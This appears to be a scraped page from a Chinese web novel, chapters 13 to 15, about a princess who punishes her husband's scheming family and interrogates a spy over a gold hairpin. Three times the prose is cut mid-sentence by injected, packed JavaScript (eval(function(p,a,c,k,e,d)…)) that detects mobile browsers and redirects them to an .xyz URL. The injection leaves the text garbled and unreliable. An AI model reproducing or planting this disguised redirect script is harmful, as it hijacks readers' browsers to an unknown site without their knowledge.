从前在军营中,她也不是没见过军医缝针,自己甚至可以一边让军医为自己清创缝针,一边与人手谈。 可放到苏小糖身上,不知为何,她就有些看不下去。 “回殿下,不用,王夫吸入的液体中似乎就有麻醉的成分。”医师嘴上虽答,眼珠子却还牢牢黏在绣郎手里那根银针上,恨不得看清他的每一针都是如何下的。 元明瑾听了,却并未放松,又问:“可会导致成瘾?” 她军中有些伤员,瘥后疼痛难忍,便用了些镇痛的方剂,谁料彻底痊愈后,竟依旧想要服用这些方剂,一日不用,便关节酸疼、头痛欲裂,精神恍惚,抓心挠肝地难受,宁可散尽家财也要从医官手中再求得一副方剂,最后费了好大一番功夫才戒掉。 “这……草民不知。”医师忙答。 知道她虽是京中名医,可在见地方面,自是不及宫中太医和江湖游医。元明瑾也不为难人,令心腹将饱浸水液的绢帕送去太医院勘验,自己则起身,随苏傲霜派来请她的仆从前往厅中。 里头早有四人在等她,其中一人趴伏、一人跪地。苏傲霜以那根门闩撑地,显然是将其当成了拐杖用,不过半个时辰的功夫,这位重臣却憔悴不堪,仿佛转瞬便苍老了几十岁。 元明瑾看也不看那匍匐于地、披头散发之人,径自坐向上首,一面拿起手边的瓷盏,撇了撇茶沫,一面稍稍扬起下巴,朝苏傲霜笑道: “就只是这样而已吗?” 13. 东宫 苏傲霜的头颅深深低了下去,“臣,请殿下明示。” “本王说,苏大人就只能做到这样而已吗?” 元明瑾如她所愿,重复一遍,将话挑明了些,笑得见牙不见眼,恍若一只正在舔舐锋利犬齿的狐,“若是顾及亲子,下不去手,不若由本王代劳。” “……但凭殿下处置。” 元明瑾站起身,一手从她手中接过沉重如铁的门闩,而后另一只手交握上来,凌空抡起,将其舞得虎虎生风。呼呼风声刮开苏玉堂的发丝,露出她一只耳朵,刀子似的直往耳道里钻,大有直刺灵台之势。 苏玉堂趴伏在地,预想中的疼痛顺着脊椎直逼颅底,整个后脑勺都发麻,额前早已结满豆大冷汗——不,不,她不想死!她不想死!她的腿!她的腿! 她已经断了一条腿,不能再断另一条了!她不想当废人! “娘!救我!快救我啊!” 苏傲霜将她的呼声听在耳中,却站定于原地,没有动,只是深深吸气,闭上了双眼。 那风声近了、愈近了——咚! “啊——” 苏玉堂惨叫一声,扯着嗓子拉长了尾调。 然而叫了迂久,才慢慢觉得不对—— 痛感……似乎都集中在已经伤了的左腿上,右腿倒还好端端的,并无不适。 可她分明听见了门闩砸下来的响声。 她手肘支起,抬高上半身,伸长脖子往后一瞧,这才发现那根门闩的棍头擦着她的右腿狠狠砸进了地里,坚硬平整的尺七方砖甚至被砸出一个浅坑来,蛛网似的细纹以棍头为中心向四周迸射;再看那棍头,已炸得像朵花儿一般,木刺根根倒竖,却仍有一小截栽进砖里,好似这厅中凭空长出一根门闩般,好不滑稽。 可厅中之人却没一个敢笑。 苏玉堂不知这是否就算结束了,依旧趴在地上丝毫不敢动弹,鼻尖却忽然嗅到一阵沁人心脾的竹香——上方那人的气息沉沉地压下来,而后她本就松垮凌乱的乌发便彻底散开来。 原是元明瑾从她发间取下了绾发的银簪。 元明瑾直起腰,三指捏住细长簪身,似乎对它起了兴趣,细细端详起来。其余人等依旧大气也不敢出,苏宜宜却早在下首跪得腿脚酸麻,忍不住悄悄揉捏起小腿来—— 咻——! 说时迟那时快,那支银簪忽地破空而来,气势汹汹,拂动发丝,擦着苏宜宜侧脸钉进他身旁的砖缝里,簪身竟足有一半深深没入其中! 银质柔软,却丝毫不见扭曲变形,可想速度究竟有多快。 “男子容颜何等重要,若非小糖已嫁人,你打算让他老死家中?好一个‘京中贵男之典范’,真是闻名不如见面。” 元明瑾目光移向他侧脸,不疾不徐道:“毁人容颜,如同杀人母父。苏大公子,你心肠如此歹毒,连亲弟也下得去手,本王真不知还有哪家女郎,愿意要你这蛇蝎男子。” 苏傲霜听见她对苏宜宜的称呼,猛地一抖,霎时便冷汗满身。 厅中其它人却不曾留意——苏宜宜半张着嘴,早就吓傻了,听他父亲哭嚎了一声才后知后觉感到脸上一阵刀割般的疼,怔怔伸手去摸,见满手刺目鲜红,顿觉天旋地转,两眼一翻就晕倒在地,人事不省。 元明瑾转身踱步,回到上首坐下,以手撑头,道:“你这男儿不能留在京中了。” 扑通一声,站在后首的辛雅宁闻言,失魂落魄地跌坐在地,眼珠略动了一动,又扑过去,紧紧抱着已然昏厥的苏宜宜,嘴里念叨着“宜宜、宜宜……”哪有往日三品淑人的风光模样。 “是。”苏傲霜并未回头,只是跪下,缓缓向她磕了一个头,“谢殿下饶过我儿……” “先别忙着谢。”元明瑾撤去手,大马金刀地坐着,左臂撑在左腿上,倾身向前,如狼隼般盯着苏傲霜,“本王可非心地良善之辈。” 苏傲霜何等人精,当即便明白她是有话要说,便挥退夫郎儿男,与瑞王殿下密谈了整整一个时辰。 …… 今日发生了这许多事,苏小糖自然无心再逗留,一睁眼就马上催着元明瑾回王府,什么擅长牛乳糕的厨郎也置之脑后了。 苏府果真是豺狼之窝,他再也不想来了……好疼。 所幸现下不过戌时,亥时才宵禁,元明瑾便命人套马备车,与苏傲霜辞别。 脸上伤口缝过针已经包扎好,苏小糖明知不能碰,但是却总忍不住想看看自己伤成什么样。 这么疼,一定伤得不轻……男子终究是对自己的容貌十分在意的。 他颤颤巍巍抬手,指尖将要触及纱布,却被一把捉住——“做什么?脸不想要了?” 妻主看起来非常生气,苏小糖想。 虽然她嘴上不说,只是眉眼冷肃,但是握着他的那只手力道之大,连骨头都险些要捏碎了。 苏小糖心中却甚是甜蜜,一时间连脸上的疼痛都忘了七七八八。 马车刚刚驶出门,他想起回王府的路上会经过万钱楼,便掀开车幰向外张望,却恰巧见到母亲率众躬身送别,辛雅宁在她身后,直勾勾望过来,神情怨毒。 他不觉打了个寒颤。 正要放下车幰,却见还有两辆朴华无实的马车亦从苏府中驶出,低调地直奔城门——苏小糖顿生疑惑。 这么晚了,为何还要出城? “看什么呢?外头有那么好看?” 元明瑾放下书,二指捏住他下巴尖,把人拧过来,朝向自己,“以后被欺负了,要当场打回去,懂?” 苏小糖窝窝囊囊地缩了缩脖子,移开眼,嘴唇抿成一条线,没吭声。 原来自己竟是可以反抗的么?可是三妹妹力气太大,他怕…… “打不过就喊我,真当你妻主是吃素的?”元明瑾松开手,肘弯支在小几上,撑着下巴瞧他,笑眼弯弯,“叫人欺负成这样,真是个小可怜……打狗也得看主人,不过是有几年没回琮都,难不成本王的威名都叫人忘干净了么?” 别以为他听不出来,她这是拐着弯儿说他是、他是…… 世上怎么会有这样坏的人?他刚受了委屈,她不安慰两句也就罢了,还这般作弄他…… 苏小糖用酸涩不已的眼睛使劲瞪她,却换来元明瑾好一阵虎摸,笑声爽朗。 然而奇怪的是,尽管她将自己比作狗,苏小糖心中却并未生出丝毫不快,一时只知怔怔地注视她的笑颜,什么都忘得精光,满脑子只剩她方才那几句袒护之言。 若不是身上有伤,他真恨不得马上伏在她膝头,像一条真正的家犬般摇尾乞怜。 “怎么,感动哭了?” 元明瑾抬手点了点他眼角,苏小糖才反应过来,自己不知不觉间竟已热泪盈眶,忙掏出帕子来拭,岂料却越擦越多,最后只好丢脸地抬袖挡面,鼻音浓重,叫她莫要调笑自己。 元明瑾方哂笑道:“这才哪儿到哪儿?若叫你知道,你那两个好兄妹已经被遣送出城,你此生都不会再见到她们,岂不是要感动得五体投地?” “……刚才那两辆马车?”苏小糖恍然大悟。 “正是。”元明瑾把玩着翠青杯,冷冷一笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409227|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若不是为了苏傲霜……苏宜宜和苏玉堂真该感谢自己有个好母亲。 …… 见朱轮华毂渐渐驶出视线,苏傲霜回到房中,浑身脱力,瘫坐椅上,里衣已完全被汗水浸湿。 从此,苏氏就是瑞王棋罐中的一枚棋子……一切究竟是怎么变成这样的? 她为官三十多年,自然懂得何为明哲保身,亦向来是坚定的保皇党,可如今—— “妻主,我们何时把宜宜接回来?” 思绪被打断,辛雅宁眼皮浮肿,抽抽噎噎地问苏傲霜。 都怪苏小糖这个贱种!害得他的男儿不得不离开家,去寺中暂避风头。若是让他再逮到机会,他定要将苏小糖千刀万剐! “都什么时候了,还想着你那好男儿!当真是男人之见!” 苏傲霜闻言怒喝,一掌拍在扶手上,吓得辛雅宁一抖,帕子都掉在地上,“若不是他和苏玉堂落了把柄在瑞王手中,我何至于将宝全押给瑞王?” “东宫之争,与我何干!管她是大皇子还是二皇子,只要不站队,无论谁当皇帝,我苏傲霜依旧能稳坐尚书之位!” 她瞪着呆若木鸡的辛雅宁,雀目充血发红,额角根根青筋清晰可见,狠毒之意亦是——“早知今日,我就该学那位去父留子,将三个孩子都带在身边,亲自教养!省得被愚夫教歪,死到临头仍不知悔改!” “哼,他就在寺中好好修行吧!若是学不会安分守己,也不必再回了!” 辛雅宁被这话震得怔怔,汗出如浆,一句话也再说不出了。 …… 苏氏在京郊的庄子不远,可仍要驶上一两个时辰,到达已近丑时。 心中惊惧渐散,苏玉堂又恢复了往日颐指气使的模样,不是嫌弃屋内打扫得不净,就是嫌弃宵夜不过是些粗茶淡饭难以入口,将整个别庄闹得人仰马翻,寅时才勉强睡下。没过多久,又因断腿疼痛而难以入眠,折腾得庄子里的仆从苦不堪言,都盼着这混世魔王早日回府。 可即便如此,苏玉堂心里也清楚,至少在骨头长好之前,她决计不可能回京。 而且回京……回京又能如何?她的腿会好吗?往后行走,不会一跛一跛的——不、不行,她还要出将入相、还要继承母亲衣钵、还要继续享受荣华富贵……她不要变成一个跛子!届时亲友同僚又会如何看她! 苏玉堂从噩梦中惊醒,大口喘息,冷汗涔涔,在床上坐了良久后,终于拿定了主意。 问过时辰,得知现下不过卯时,她却并未继续睡下,而是下了炕,从妆台前拿起一枚玉佩,交给从府中跟来的心腹,手心微微出汗,“反正快马加鞭,来回也要三四个时辰,你马上回城,去……肃王府,务必请肃王殿下亲自前来,就说苏氏女有要事相商!” 心腹领命而去。 …… 昨夜路过万钱楼,苏小糖眼巴巴地望着自家妻主,只盼她能放自己下去打声招呼……绝不是趁机去买些吃食! 谁知却被元明瑾一口回绝,说他那一肚子坏水都能晃荡出声,快涌进脑子里,自耳眼中流出了——她是不会给他机会又去捣鼓臭食的! 但看苏小糖一副无精打采的蔫巴样儿,她第二日还是命人请来了万钱楼里的当家厨娘,本想大手一挥让他随意点菜,却见他腾一声忽地从椅上站起,紧走几步到了为首那厨娘面前,与其执手相看泪眼。 元明瑾奇道:“你们这是作甚?” 那厨娘已年过半百,瞧着苏小糖的眼里又满是慈爱,她当然并非怀疑二人有私情——只不过她们又是何时相识的? 14. 金钗⑴ “跟妻主介绍一下,这位是我的师娘。” 苏小糖将大厨娘领到元明瑾面前,见她一脸诧异,他扬起嘴角下意识想笑,却一时不察,牵动了颊上伤口,疼得几乎飙泪,只好委屈巴巴地忍住,“我原想开一家食肆,便拜入师娘门下,向她学习厨艺。之前的臭豆腐、臭鳜鱼和脏脏包,都是跟着师娘学的!” 想起险些将自己熏晕的臭鳜鱼,元明瑾唇角抽搐两下,正欲斥责他堂堂王夫成天捣鼓这些像什么样,然而忆起昨日从苏府带回来的东西,话到嘴边又生生止住了,嘴唇张张合合,好半天才挤出一句:“……那你们今天打算做什么?” 大厨娘答道:“回殿下,王夫在万钱楼学艺时,曾尝到一道菜,名唤‘螺蛳粉’,赞不绝口。只可惜这螺蛳粉若放凉了,风味便大打折扣,故而无法外带,只能现做现吃。今日王夫便想让草民做一碗螺蛳粉,献给殿下。” “螺蛳粉?”元明瑾疑惑地跟着重复,“好生新奇的名字,可有什么典故?” “回殿下,这菜名都是楼主取的,其中有些草民也不解其意。”大厨娘莞尔一笑,“不过螺蛳粉的名字倒无甚新意,全因其汤料由螺蛳、八角、肉桂、丁香、辣椒等物制成,故称。” “原来如此。”元明瑾小心翼翼探头,向众厨娘身后摆着的大缸瞅了一眼,“那里面是什么?不臭吧?” 腌坏的臭鳜鱼给她留下的心理阴影太严重,她现在一见这种大缸就发怵。 “妻主放心,那是酸笋,不臭的!”苏小糖赶忙抢答,心虚之意溢于言表,显然也想起了自己那份失败的大作,“螺蛳粉要是没了它,鲜味可得少一半呢。对了师娘,您带新鲜螺蛳来了吗?” “带了带了,我老婆子今儿赶早亲自上集市挑的!”大厨娘得意地一拍胸脯,“现在还在缸里吐泡呢,保管新鲜!” 师徒俩一聊起庖厨之事来就没完没了。元明瑾原本笑意浅浅,一面瞧着这一幕,一面听着心腹附耳汇报,会心的笑容转瞬即逝,趁那两人讨论得热火朝天之际,起身溜之大吉。 她并未留意到身后,苏小糖眼角余光瞥见她离去的背影,面上失落怎么也藏不住。 …… “他当真说,愿意从实招来?”元明瑾大步流星走在小径上,两侧草木葱郁,擦过衣角,沙沙作响。 “主子,千真万确,掉包王夫一事他倒是招了,只是……他说仅能告诉您一人。”心腹迟疑道,“张嬷嬷也怀疑有诈,但那九曜贼子嘴硬得很,只要不见到您,他就不肯松口——都打成那样了……” “本王知道了。”元明瑾忽然停步,从怀中掏出一支金钗,抬手插在发间,“走吧。” 行至一座足有两人高的假山前,她与心腹轻车熟路地绕到另一面,钻进了山洞中。 夹道起初极其狭窄,盘旋向下,渐渐便只容一人勉强通过,因深入地底,愈显沁凉。 又走了一盏茶的功夫,里头才豁然开朗:只见两面皆是监牢,每根栏杆足有婴臂那般粗,沉甸甸的大锁则由名匠以玄铁打造,一旦入内,插翅难飞。 走道尽头,一个血淋淋的人双手双脚被拷在墙上,蓬头垢面,看不清脸。元明瑾一扬下巴,自有左右上前泼了一盆井水,浇得那人猛打了一个寒颤,缓缓睁眼,喉结滚动,嗬嗬地笑起来。 此人不是旁人,正是小绿。 “你为何发笑?”元明瑾接过心腹递来的一柄藤鞭,掂在手里试了试,抬眼望向小绿,“是了,黄泉路上有红蓼相伴,是该发笑,总也不是孤零零一个人。” 那日初见,她便发觉小绿与一人生得像极,只是这两人她都仅仅扫过一两眼,自然不可能马上将二者吻合。 “呵……哈哈哈哈!”小绿笑得愈欢,见元明瑾面色如常,又猛地止住,“瑞王殿下,奴可不像您的王夫那般蠢笨——您要是已经抓到红蓼,也不必拿他来试探我了。我知道的,不比他多。” “况且,您不敢杀我——倘若有朝一日,陛下发现了苏氏竟敢偷梁换柱,龙颜大怒,届时您难道要眼睁睁地,看着心爱的王夫,与您的左膀右臂,午门问斩吗?” 啪! 元明瑾扬臂狠狠抽了他一鞭,细细的鞭条恰巧打在一道皮开肉绽的伤口上,抽得人虾子似的猛一弹跳,喘息连连,又惊又怒又恨又惧地从油腻打结的脏污发间瞪向她,恶鬼似的狂笑不已:“怎么,殿下被我说中了?恼羞成怒了?你不仅不敢杀我,还要求着我将那些事告诉你!” “杀了我又如何?你永远别想从我口中知道我们的计划!” 将藤鞭交给旁人,元明瑾不着痕迹地深吸一口气,镇定下来,伸手抚着那支刚簪上去的金钗,朝他笑道:“小绿——不,绿汀,你可识得此物?” 红蓼、绿汀,呵……真是好名字——等等。 元明瑾脑海中忽然闪过一道灵光,眼前浮现一张俏丽鲜嫩的脸。 听见这个暌违已久的称呼,小绿霍地抬头,那造型奇异的钗头恰好撞进眼里,他瞳孔骤然缩紧——“这金钗从哪来的?这金钗从哪来的!” 他一夜未进食水,又被拷在墙上几个时辰,本该身衰力竭,却不知从何而来一股气力,将手脚间的铁链挣得哗哗作响,双目鼓凸,活像一尾跳离水中、暴毙在即的金鱼,“你怎么知道我的真名?这金钗怎么在你这儿?你把她怎么了?你对那位大人做了什么!” 真蠢,她不过随意一诈,这绿汀便自乱阵脚,就差把他们的计划都和盘托出了。方才见他如此嚣张,原以为还要费一番口舌,想不到全省了。 “刚才不是不愿意开口,就知道挑衅本王?”元明瑾拔下那根金钗,举到眼前细细端详,“这会儿怎么又转性了,如此聒噪。” 只见钗头主体七颗金珠以极细的金丝相连,被手巧的匠人拧成了舀酒之斗状;另有两颗金珠点缀在斗柄尾处附近,俨然天穹中北斗七星及辅佐二星。整支金钗巧夺天工,在地牢昏暗的光线中仍能反射出极亮的芒彩,辉煌夺目,一见便知不是凡品。 也难怪苏宜宜会一眼看上,说什么也要从苏小糖手里抢去。 “呸!” 牢内昏昏,绿汀却能清楚地将周遭一切尽收眼底,一双招子都黏在了那金钗上,一时急火攻心,气血上涌,脖颈一伸,满嘴腥臭的血沫便喷涌而出——幸而元明瑾眼疾脚快,后退一步,险险躲过。 尽管如此,仍免不了有几滴飞溅在她胸前的衣衫上——她今日穿的是一袭月白的流云纹圆领袍,有白底相衬,那几颗殷红的血点子便愈发显眼,朱砂似的隐隐透着妖异的不祥,像是最恶毒的诅咒。 绿汀恶狠狠瞧着,畅快地大笑开来,高高凸出的眼珠一错不错地盯住元明瑾的脸,正期待她会露出何等嫌恶的反应,却见她仅仅是眉尖微蹙,未起波澜,笑着笑着,便渐渐失了声,惊愕道:“你不是好洁成癖?何时竟痊愈了?” “从来没有的东西,何来痊不痊愈一说。”元明瑾摩挲着那支极其精巧的金钗,朝他扬唇一笑,眉心却攒起,眼中满是怜悯之意,“你如此挂心于她,她却连本王为何在庆功宴上将那舞郎一脚踢飞的真相都未曾告知于你,可真叫人唏嘘啊。” 绿汀眼睁睁看着元明瑾指尖轻轻抚过七颗金星,笑容一收,目如淬冰,整个脸皮瞬间涨得通红,还要反驳,却被人一把堵住了嘴,只能发出呜呜的含混声。 “这会子倒是有一肚子说不完的话了,可惜本王耐心耗尽,懒得再听。你不说,有的是人愿意说。” “放心,血浓于水,本王并未对她做过什么——只不过明日,可就不一定了。” 说罢,元明瑾将金钗收起,拂袖便走,任凭身后锁链如何激烈地哗啦作响,也不曾回头。 一出洞口,站到日光下,张嬷嬷便迎上前来,道:“殿下,如此看来,王夫也不过是被牵连其中,应当是无辜的。” 螳螂捕蝉,黄雀在后,苏宜宜与辛雅宁自以为将苏小糖推出去替嫁便能万事大吉,实则也不过是两只倨慢的螳螂罢了,何曾想过背后还有数不清的黄雀在虎视眈眈。 黄雀之后,更有轻易便能将其玩弄于股掌之间的捕雀人——就不知是她元明瑾,还是她惺惺相惜的对手了。 元明瑾斜她一眼,“你倒是偏心他。” “怎会?老奴最偏心的,还得是殿下。”张嬷嬷掩唇而笑。 她既是瑞王府掌事,自是狐狸精修炼成人,狡黠圆滑——那日缃叶意欲挑衅苏小糖,命人先行将她引开,张嬷嬷又如何看不出内有乾坤,遂顺水推舟,轻易便跟着那仆从走开,想看看这新官上任的王夫会如何应对。 而结果虽出人意料,却也令她着实满意,认为苏小糖堪为良配,“只是王夫着实可爱,瞧着也是待殿下一心一意好的,老奴自然也要为他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——花生米零星,却占据了最为核心的位置;炸得金黄的腐竹很有秩序地堆叠在左侧;青菜烫得有些蔫巴,但依旧油亮,鲜绿得有些刺眼;乌黑的木耳和黄白的酸笋细细切成丝,徐徐铺在米粉上;汤汁剩得不多,几乎全被白胖的粉条吸走了,一口下去,还不知道是何等滋味,但应当差不到哪儿去。 单说气味,的确不难闻,甚至可以说是引得人食指大动。然而…… 她抬头望向苏小糖,刚张了张嘴,他就马上明白她心中所想,笑道:“没有额外加辣椒!我知道妻主吃不了辣,只是这汤底免不了要添些辣椒油,才能将香味彻底激发出来。” 被他猜中心思,元明瑾腮帮子一绷,一语不发地拌开黏在一块儿的米粉,夹起一筷子放进口中,双眼蓦地一亮—— 舌苔猛不丁被烫了一下,但却爽口非常:米粉滑溜,腐竹酥脆,青菜、木耳和酸笋各有各的嚼劲,咬在嘴里咯吱作响,各种细小又清脆的声音在嘴里炸开。尤其米粉吸饱了汤汁,变得更加入味,闭气一吸溜,竟不知不觉,一口接一口地吃了个精光。再看那碗底,干干净净,连丁点汤汁都不剩。 看得苏小糖目瞪口呆——元明瑾吃得太快,虽然不至于狼吞虎咽,但眨眼间,满满一碗螺蛳粉,竟好像凭空消失一般。 “咳……”元明瑾不疾不徐地从袖中掏出一方绣帕,矜持地擦了擦被辣油染得橙红鲜亮的嘴唇,“味道不错。” 她的确不怎么能吃辣,但起初竟也接受良好,吃完才觉那股辛辣气息充斥着整个喉腔,大有上升之势,刺得她鼻子发痒,总想打喷嚏。 “妻主还想用些点心吗?”自她现身伊始,苏小糖一双亮晶晶的眼睛就没离开过她,见她吃得投入,他也看得投入,连大厨娘什么时候离开了都没察觉,若非颊上有伤,一扯就疼,还不知要如何呲着大牙乐呵。 这会子听见她说好吃,更是喜笑盈腮,忍不住就想把所有好吃的都献给她,“那名善做牛乳糕的厨郎我也请到府中来了,可巧今日便有一批鲜牛乳送到膳房,我就让他做了,眼下正有一屉新鲜出炉,妻主可要尝尝?” 虽然苏小糖总想投喂她,但这还是第一次成功,可不得趁热打铁,让妻主尝一尝所有他觉得好吃的东西! ……牛乳糕,又是牛乳糕。 都说一朝被蛇咬,十年怕井绳,怎么才过了一天不到,他又惦记起这曾经坑害过自己的牛乳糕来了? 罢了,既然他这么想让自己尝尝……元明瑾扶额,叹了口气道:“去吧。” 得她允准,苏小糖便乐颠颠地钻进膳房,元明瑾望着他的背影,不由忆起昨日在苏府与苏傲霜所谈之事—— 苏傲霜膝下三子中,苏玉堂既是女孩儿,又是最小的幺妹,将来定要为官作宰、继承苏府,再如何宠爱也不为过;苏宜宜是她第一个孩子,也不免多加关注。 唯独苏小糖…… 因着其父,苏傲霜对他的感情最为复杂,连她自己也说不清是爱是恨。 15. 金钗⑵ 花楼人来人往、鱼龙混杂,一向是音信最为灵通之处,却也……最是人心叵测之处。 当年苏傲霜不过是个五品员外娘,受今上所托,行走于秦楼楚馆中探听消息,一时心软,救下个被客人下药、意图强占的清倌,却不想一举有孕,那清倌又寻死觅活,不得不将人接回府中。 时值苏宜宜大病一场,她本不想声色犬马得太过——即使只是表面上的,打算把风沁接回来就当个摆设。 岂料此人似乎完全看不出她有意冷落,总是巴巴地做了些不成样子的小玩意儿送过来。苏傲霜捏着,翻来覆去地瞧,心道怎会有人手拙成这副样子,恐怕在地上铺一块底布,再撒把米,鸡都啄得比他像样。 她的正夫对她在男儿病间纳侍一事心怀怨怼,却不敢也不能明着对她悁忿,便将所有的怒火都倾泻在了风沁身上。 府中任何风吹草动都逃不过苏傲霜的耳目,这些小手段自然也不能。 因着这些叫人哭笑不得的小玩意儿,苏傲霜头一次想出手干涉后宅之事。谁知恰在此时,却听潜伏在花楼内的心腹来报:风沁与她同房那日,有人曾于子时见他伏在花丛边为自己催吐,将一些棕褐色药汁呕了出来,才回到楼中。 苏傲霜一瞬间汗毛倒竖—— 花楼的伎子们在陪客前总会先服下一剂避孕的汤药,那日她也给风沁捏着鼻子强行灌下去了,随后便出门找了个龟奴叫水沐浴。这前后连半盏茶的时间都不到,风沁竟能强行忍下合欢散的药性,悄无声息地避开楼内往来众人,吐了避子药再返回,这哪是区区一个花楼清倌做得到的? 再加上始终查不出此人来历——偌大一座花楼,竟无一人能说出风沁究竟是何时入楼、家住何方,而他的异族面孔又太过惹眼,怎能让人不怀疑他是九曜埋在天元的暗桩? 苏傲霜心知再留不得他,否则引狼入室,恐后患无穷,便命人以一无色无味的毒,少量多次,下在他一日三餐中,经年累月。起先风沁只是身体不适,后来毒素积累,便病得越来越重,卧床不起,终有一日,难以为继,命丧黄泉。 留下年幼的苏小糖孤身一人,在苏府中艰难度日。 想起那面凫鹜不像凫鹜、鸳鸯不像鸳鸯的刺绣屏风,元明瑾忍不住问:“若风郎君并非九曜探子,且……” “若非探子,那又如何?” 苏傲霜闻言,霍地回身,急走几步,直逼元明瑾,紧紧盯住她,目光炯炯,如鹰视狼顾,“殿下可知,臣能在短短数十年内,就坐到户部尚书的位置来,靠的是什么?” 她爆发出的气势太过慑人,一时间竟不输今上。元明瑾虽未后退,可也不由被她领入其中,下意识跟着问:“是什么?” “靠的是直觉、是心狠手辣,是陛下的恩宠!”苏傲霜审视着她,审视着尚显稚嫩的潜龙,审视着这位她将来要效忠的未来帝王,“宁可错杀一百,不可放过一个——殿下常年行军打仗,即使打了胜仗,也免不了要向敌军的尸体,狠狠地补上一刀,怎会不明白这个道理?” “臣与风沁之间是否尚存情意并不重要,重要的是他有可能危及天元、危及陛下的江山——我身为陛下的臣子,自当为陛下分忧,将祸患扼杀在摇篮之中!” 这番掷地有声的话语砸下,元明瑾已经明白了苏傲霜为何荣宠不衰,又问:“那小糖——” “小糖这孩子,虽是我受风沁暗算而来,但……” 苏傲霜没有再接着说下去,沉默许久,只道:“我冷落小糖,把他迁到偏僻的院落居住,又故意不给他安排许多人手,也是想看看,九曜的人会不会来寻他,将他接走。” “但他们没有来。”元明瑾用十分平静的语气陈述事实,“所以王夫就这样,缩在那个小院子里,过了十几年。” “……一切孽缘,因儿男起,也该因儿男毕。” 听她以“王夫”称呼苏小糖,苏傲霜还有什么不明白的。 她无言以对,最后只能深深下拜,道:“臣知殿下已知臣的夫郎,让小糖替嫁一事。这出闹剧全因辛氏蠢笨,然我二人虽情浅谊薄,却终究是结发妻夫,于情于理,臣无法置身之外;子不教,亦是母之过。今后,臣便唯殿下马首是瞻,只盼殿下能善待小糖,放玉堂她们一马。” “苏大人客气了,你我既已系亲,日后自当守望相助。” 元明瑾就等着她投诚,心中自是欣喜若狂,表面上却仍不动声色,从怀里掏出支金钗来,“苏大人可识得此物?” “这……”苏傲霜接过,细细端详着,“好生眼熟,似乎在哪儿见过。此钗如此工致巧妙,臣若是见过,应当不会忘记……慢着,瞧着像是——九曜工匠的手笔!” 她越是观察,眼睛就睁得越大,最后肯定道:“是了,去岁陛下寿宴,九曜除贺礼外,还上供了一批金银首饰,最后都收进户部所管理的国库内了。这种将金丝掐作几股,再将珠玉宝石串于其上的工艺,的确是九曜独有的。” “哼……”元明瑾冷笑一声,“这正是苏大公子用来划伤小糖脸的那支,好长一道口子呢,深得都快窥见骨头了,本王瞧着都心惊肉跳。” 眼见苏傲霜脸色发白,额上又凝出豆大冷汗,惶惶之意不言自明,元明瑾这才不紧不慢地补充道:“本王拿出这支钗子,并非是要问罪,只是想问一问苏大人——这支钗子,令郎是从何得来的?” “你可知这金钗,是九曜皇室之物?” 噗通! 苏傲霜若还听不懂元明瑾方才是试探她,就枉为名臣了,当即双膝向地上重重一砸,汗如雨下,色若死灰,口中忙道:“殿下明鉴,臣怎敢勾结外敌——” “苏大人这是做什么?本王不曾怀疑过你。”元明瑾将她扶起,“苏大人只需好好想想,这钗子的来由即可。” 经她提醒,苏傲霜拼命搜刮脑海,才终于回忆起来,道:“似乎是宜宜从小糖那儿抢来的,他见这钗子样式新奇,就——” “也就是说,这是风郎君的东西。”元明瑾从她手中拿回金钗,拨弄两下,金珠颤颤,“你身为母亲,就这样眼睁睁看着孩子被欺凌,连先父的遗物也被抢去?” “……”苏傲霜双手撑地,朝她磕了一个响头,嗓音沉沉,“臣枉为人母。” “无妨,只要苏大人愿意,还有最后一件可以为王夫做的事。” 元明瑾居高临下地俯视着她的头顶,须臾,目光遥遥投向了苏府的东南角。 那是苏氏祠堂的所在之地。 “——妻主?” 元明瑾蓦地回神,就见苏小糖伸手,在她眼前晃了一晃,见她眼神终于聚焦,扬唇便笑,笑了还没一半,又猛地僵住,眼中渐渐蓄了泪,捂着左脸呜呜咽咽地哼唧起来。 “唉……”元明瑾叹了口气,伸臂一扯,将他扯到自己腿上坐着,虎口扣着他下巴,左右端详起来,“啊呀,伤口又开裂了,渗了点血出来呢。” “那怎么办?”苏小糖有些慌乱,“要不要让医官重新包扎?我一见妻主就忍不住……” “重新包扎又能如何呢?”元明瑾故意吓唬他,“如此反复崩裂,就是大罗金仙也救不得。到时候,可就要在脸上,留一条长长的、蜈蚯一样的疤了……” 苏小糖一听就吓坏了,小脸苍白,长睫忽闪,泪眼汪汪地望着她:“那妻主会嫌弃我……貌丑吗?” 他原先只是想从她嘴里听来几句安慰,岂料却见元明瑾点点头,非常肯定道:“会的。” 苏小糖登时一僵。 元明瑾却恍若未觉,继续道:“你看,你母不疼父早逝,除了会做些吃食,身无一技之长,连王夫也做得不过尔尔,张嬷嬷至今都不放心把中馈交给你主持呢。” “若是连这张好看的脸都没了,啧啧……我看,我还是早日休了你,另娶他人好了。” 她神情当真不似作伪,苏小糖如遭雷击,呆坐在她腿上,一张本就玉白的脸更是毫无血色,望着她,眼泪大颗大颗,无声地滚落下来,霎时就洇湿了深色的衣襟。 倒是好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427089|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅雨打梨花、凄凄楚楚的美景。左颊上敷着纱布的伤口,不仅没有破坏这份美感,反倒给他增添了几分饱受蹂躏的弃夫气质。 